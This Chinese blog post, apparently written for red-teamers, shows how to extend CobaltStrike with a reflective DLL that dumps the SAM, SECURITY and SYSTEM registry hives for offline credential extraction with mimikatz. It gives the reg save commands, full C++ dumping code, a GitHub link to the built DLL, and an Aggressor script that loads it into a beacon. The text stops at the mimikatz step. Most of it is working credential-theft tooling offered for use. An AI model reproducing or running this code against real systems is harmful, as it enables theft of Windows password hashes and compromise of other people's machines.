继续使用我们的Reflective DLL功能来武装我们的CobaltStrike。
一般来说抓取注册表的方法如下:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
reg save hklm\security security.hive
然后在使用mimikatz来解密注册表。我们先使用C++来实现这样的一个过程:
void dump_reg()
{
HKEY hKey = 0x0;
DWORD file_exist;
//dump sam
LPCWSTR lpSubKey = L"SAM";
LPCWSTR lpFile = L"C:\\ProgramData\\sam.save";
RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey);
file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);
//Check file exist
if (file_exist == 183) {
DeleteFileW(lpFile);
RegSaveKeyW(hKey, lpFile, 0x0);
}
RegCloseKey(hKey);
hKey = 0x0;
//dump security
lpSubKey = L"SECURITY";
lpFile = L"C:\\ProgramData\\security.save";
RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey);
file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);
//Check file exist
if (file_exist == 183) {
DeleteFileW(lpFile);
RegSaveKeyW(hKey, lpFile, 0x0);
}
RegCloseKey(hKey);
hKey = 0x0;
//dump system
lpSubKey = L"SYSTEM";
lpFile = L"C:\\ProgramData\\system.save";
RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpSubKey, 0, 0x20000, &hKey);
file_exist = RegSaveKeyExW(hKey, lpFile, 0x0, 2);
//Check file exist
if (file_exist == 183) {
DeleteFileW(lpFile);
RegSaveKeyW(hKey, lpFile, 0x0);
}
RegCloseKey(hKey);
}
然后使用我们之前的方法,把它转换为反射型的dll,已上传至github(x64):
https://github.com/lengjibo/RedTeamTools/tree/master/windows/samdump
然后随便写个cna脚本来加载它:
alias hello {
bdllspawn($1, script_resource("reflective_dll.dll"), $2, "test dll", 5000, false);
}
执行
导出成功,C:\ProgramData
mimikatz解密: